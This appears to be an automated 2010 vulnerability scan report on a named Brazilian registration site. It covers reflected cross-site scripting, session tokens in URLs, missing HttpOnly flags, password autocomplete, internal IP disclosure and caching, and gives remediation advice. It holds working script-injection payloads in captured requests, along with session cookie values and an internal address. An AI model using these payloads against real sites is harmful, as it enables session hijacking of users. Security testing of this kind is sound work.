Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df078"><script>alert(1)</script>521298cb2ae was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contrato/1745?url=javascript:history.go(-1)df078"><script>alert(1)</script>521298cb2ae HTTP/1.1 Host: cadastrofree.globo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=04FE2772C9708E2FFB7223167596160D; RMAM=01TFSM_12.4fE9CbFG|; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; OAX=rnneEk0d7PgABd6P; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829;
Response
HTTP/1.0 200 OK Date: Fri, 31 Dec 2010 15:11:35 GMT X-Powered-By: - P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Server-IP: 10.10.180.6 Pragma: no-cache Cache-control: max-age=0 Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a965"><script>alert(1)</script>143b443ef90 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /login/1745 HTTP/1.1 Host: cadastrofree.globo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=04FE2772C9708E2FFB7223167596160D; RMAM=01TFSM_12.4fE9CbFG|; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; OAX=rnneEk0d7PgABd6P; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829; Referer: http://www.google.com/search?hl=en&q=6a965"><script>alert(1)</script>143b443ef90
Response
HTTP/1.0 200 OK Date: Fri, 31 Dec 2010 15:06:10 GMT X-Powered-By: - P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Server-IP: 10.10.180.6 Pragma: no-cache Cache-control: max-age=0 Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html dir="ltr" xml:lang="pt-br" lang="pt-br" xmlns="http://www.w3.org/1999/xhtml"><hea ...[SNIP]... <input type="hidden" value="http://www.google.com/search?hl=en&q=6a965"><script>alert(1)</script>143b443ef90" name="urlRetorno"/> ...[SNIP]...
2. Session token in URLpreviousnext There are 3 instances of this issue:
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
GET /Servlet/do/cadastro_submit;jsessionid=04FE2772C9708E2FFB7223167596160D HTTP/1.1 Host: cadastrofree.globo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=04FE2772C9708E2FFB7223167596160D; RMAM=01TFSM_12.4fE9CbFG|; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; OAX=rnneEk0d7PgABd6P; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829;
Response
HTTP/1.0 200 OK Date: Fri, 31 Dec 2010 15:11:13 GMT X-Powered-By: - P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-control: max-age=0 Server-IP: 10.10.180.6 Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /cadastro/1745 HTTP/1.1 Host: cadastrofree.globo.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rnneEk0d7PgABd6P; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829; RMAM=01TFSM_12.4fE9CbFG|
Response
HTTP/1.1 200 OK Date: Fri, 31 Dec 2010 14:49:26 GMT X-Powered-By: - P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-control: max-age=0 Server-IP: 10.10.180.7 Set-Cookie: JSESSIONID=04FE2772C9708E2FFB7223167596160D; Path=/; Secure Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Length: 11534
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The form contains the following password fields with autocomplete enabled:
txtSenha
txtNovaSenha
Request
GET /Servlet/do/cadastro_submit HTTP/1.1 Host: cadastrofree.globo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=04FE2772C9708E2FFB7223167596160D; RMAM=01TFSM_12.4fE9CbFG|; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; OAX=rnneEk0d7PgABd6P; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829;
Response
HTTP/1.0 200 OK Date: Fri, 31 Dec 2010 14:58:56 GMT X-Powered-By: - P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-control: max-age=0 Server-IP: 10.10.180.6 Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The page contains a form with the following action URL:
https://cadastrofree.globo.com/login/1745
The form contains the following password field with autocomplete enabled:
senha-passaporte
Request
GET /login/1745 HTTP/1.1 Host: cadastrofree.globo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=04FE2772C9708E2FFB7223167596160D; RMAM=01TFSM_12.4fE9CbFG|; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; OAX=rnneEk0d7PgABd6P; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829;
Response
HTTP/1.0 200 OK Date: Fri, 31 Dec 2010 15:05:19 GMT X-Powered-By: - P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Server-IP: 10.10.180.6 Pragma: no-cache Cache-control: max-age=0 Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Connection: close
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.
The following RFC 1918 IP address was disclosed in the response:
10.10.180.6
Request
GET /Servlet/do/cadastro_submit HTTP/1.1 Host: cadastrofree.globo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=04FE2772C9708E2FFB7223167596160D; RMAM=01TFSM_12.4fE9CbFG|; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; OAX=rnneEk0d7PgABd6P; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829;
Response
HTTP/1.0 200 OK Date: Fri, 31 Dec 2010 14:58:56 GMT X-Powered-By: - P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-control: max-age=0 Server-IP: 10.10.180.6 Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The following RFC 1918 IP address was disclosed in the response:
10.10.180.6
Request
GET /Servlet/word.jpg HTTP/1.1 Host: cadastrofree.globo.com Connection: keep-alive Referer: https://cadastrofree.globo.com/cadastro/1745 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rnneEk0d7PgABd6P; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829; RMAM=01TFSM_12.4fE9CbFG|; JSESSIONID=04FE2772C9708E2FFB7223167596160D
Response
HTTP/1.1 200 OK Date: Fri, 31 Dec 2010 14:57:00 GMT X-Powered-By: - P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-control: max-age=0 Server-IP: 10.10.180.6 Content-Type: image/jpeg Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Length: 2086
The following RFC 1918 IP address was disclosed in the response:
10.10.180.6
Request
GET /contrato/1745 HTTP/1.1 Host: cadastrofree.globo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=04FE2772C9708E2FFB7223167596160D; RMAM=01TFSM_12.4fE9CbFG|; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; OAX=rnneEk0d7PgABd6P; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829;
Response
HTTP/1.0 200 OK Date: Fri, 31 Dec 2010 14:59:00 GMT X-Powered-By: - P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Server-IP: 10.10.180.6 Pragma: no-cache Cache-control: max-age=0 Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The following RFC 1918 IP address was disclosed in the response:
10.10.180.6
Request
GET /login/1745 HTTP/1.1 Host: cadastrofree.globo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=04FE2772C9708E2FFB7223167596160D; RMAM=01TFSM_12.4fE9CbFG|; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; OAX=rnneEk0d7PgABd6P; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829;
Response
HTTP/1.0 200 OK Date: Fri, 31 Dec 2010 15:05:19 GMT X-Powered-By: - P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Server-IP: 10.10.180.6 Pragma: no-cache Cache-control: max-age=0 Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html dir="ltr" xml:lang="pt-br" lang="pt-br" xmlns="http://www.w3.org/1999/xhtml"><hea ...[SNIP]...
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:
Cache-control: no-store
Pragma: no-cache
Request
GET /resources/barra/glb_barra_2008_google_export_1024.html HTTP/1.1 Host: cadastrofree.globo.com Connection: keep-alive Referer: https://cadastrofree.globo.com/cadastro/1745 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rnneEk0d7PgABd6P; __utmz=100629313.1293806829.1.1.utmcsr=globo.com|utmccn=(referral)|utmcmd=referral|utmcct=/ssi/barra/parceiros.htm; __utma=100629313.936291352.1293806829.1293806829.1293806829.1; __utmc=100629313; __utmb=100629313.1.10.1293806829; RMAM=01TFSM_12.4fE9CbFG|; JSESSIONID=04FE2772C9708E2FFB7223167596160D
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.Report generated by XSS.CX at Fri Dec 31 09:57:54 CST 2010.